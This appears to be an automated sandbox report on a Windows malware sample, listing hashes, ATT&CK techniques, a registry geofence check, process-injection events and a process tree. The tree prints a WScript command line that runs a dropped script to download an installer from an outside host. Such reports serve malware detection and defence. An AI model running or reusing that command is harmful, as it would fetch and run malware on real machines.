6c0b027fba77e10b9861a1b26bba84603cd77bf3059d49f75e723fe99fb9d16b

Analysis

max time kernel
134s
max time network
103s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
23/05/2024, 09:04

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General

Target

6a6df11b28209dd4ff99e26bb9152d22_JaffaCakes118.exe
Size

184KB
MD5

6a6df11b28209dd4ff99e26bb9152d22
SHA1

43163388eaff6c55708352860e782022aee2cf63
SHA256

6c0b027fba77e10b9861a1b26bba84603cd77bf3059d49f75e723fe99fb9d16b
SHA512

ade201786c08a8083313017c989aa8107e414b00bb2e80ff01a5c033da28e6bad4cd6857ff3d3bac2dc74c0034b4c25bdda321c3b885ec590b91acb27041b238
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3Q:/7BSH8zUB+nGESaaRvoB7FJNndnp

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
4	4648	WScript.exe
36	1656	WScript.exe
37	1656	WScript.exe
39	688	WScript.exe
51	4136	WScript.exe
54	1000	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation	6a6df11b28209dd4ff99e26bb9152d22_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000_Classes\Local Settings	6a6df11b28209dd4ff99e26bb9152d22_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4696 wrote to memory of 4648	4696	6a6df11b28209dd4ff99e26bb9152d22_JaffaCakes118.exe	84
PID 4696 wrote to memory of 4648	4696	6a6df11b28209dd4ff99e26bb9152d22_JaffaCakes118.exe	84
PID 4696 wrote to memory of 4648	4696	6a6df11b28209dd4ff99e26bb9152d22_JaffaCakes118.exe	84
PID 4696 wrote to memory of 1656	4696	6a6df11b28209dd4ff99e26bb9152d22_JaffaCakes118.exe	98
PID 4696 wrote to memory of 1656	4696	6a6df11b28209dd4ff99e26bb9152d22_JaffaCakes118.exe	98
PID 4696 wrote to memory of 1656	4696	6a6df11b28209dd4ff99e26bb9152d22_JaffaCakes118.exe	98
PID 4696 wrote to memory of 688	4696	6a6df11b28209dd4ff99e26bb9152d22_JaffaCakes118.exe	99
PID 4696 wrote to memory of 688	4696	6a6df11b28209dd4ff99e26bb9152d22_JaffaCakes118.exe	99
PID 4696 wrote to memory of 688	4696	6a6df11b28209dd4ff99e26bb9152d22_JaffaCakes118.exe	99
PID 4696 wrote to memory of 4136	4696	6a6df11b28209dd4ff99e26bb9152d22_JaffaCakes118.exe	102
PID 4696 wrote to memory of 4136	4696	6a6df11b28209dd4ff99e26bb9152d22_JaffaCakes118.exe	102
PID 4696 wrote to memory of 4136	4696	6a6df11b28209dd4ff99e26bb9152d22_JaffaCakes118.exe	102
PID 4696 wrote to memory of 1000	4696	6a6df11b28209dd4ff99e26bb9152d22_JaffaCakes118.exe	103
PID 4696 wrote to memory of 1000	4696	6a6df11b28209dd4ff99e26bb9152d22_JaffaCakes118.exe	103
PID 4696 wrote to memory of 1000	4696	6a6df11b28209dd4ff99e26bb9152d22_JaffaCakes118.exe	103

C:\Users\Admin\AppData\Local\Temp\6a6df11b28209dd4ff99e26bb9152d22_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\6a6df11b28209dd4ff99e26bb9152d22_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4696
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf32E7.js" http://www.djapp.info/?domain=sCGnUDfapb.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf32E7.exe
  2⤵
  - Blocklisted process makes network request
  PID:4648
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf32E7.js" http://www.djapp.info/?domain=sCGnUDfapb.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf32E7.exe
  2⤵
  - Blocklisted process makes network request
  PID:1656
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf32E7.js" http://www.djapp.info/?domain=sCGnUDfapb.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf32E7.exe
  2⤵
  - Blocklisted process makes network request
  PID:688
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf32E7.js" http://www.djapp.info/?domain=sCGnUDfapb.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf32E7.exe
  2⤵
  - Blocklisted process makes network request
  PID:4136
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf32E7.js" http://www.djapp.info/?domain=sCGnUDfapb.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf32E7.exe
  2⤵
  - Blocklisted process makes network request
  PID:1000

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf32E7.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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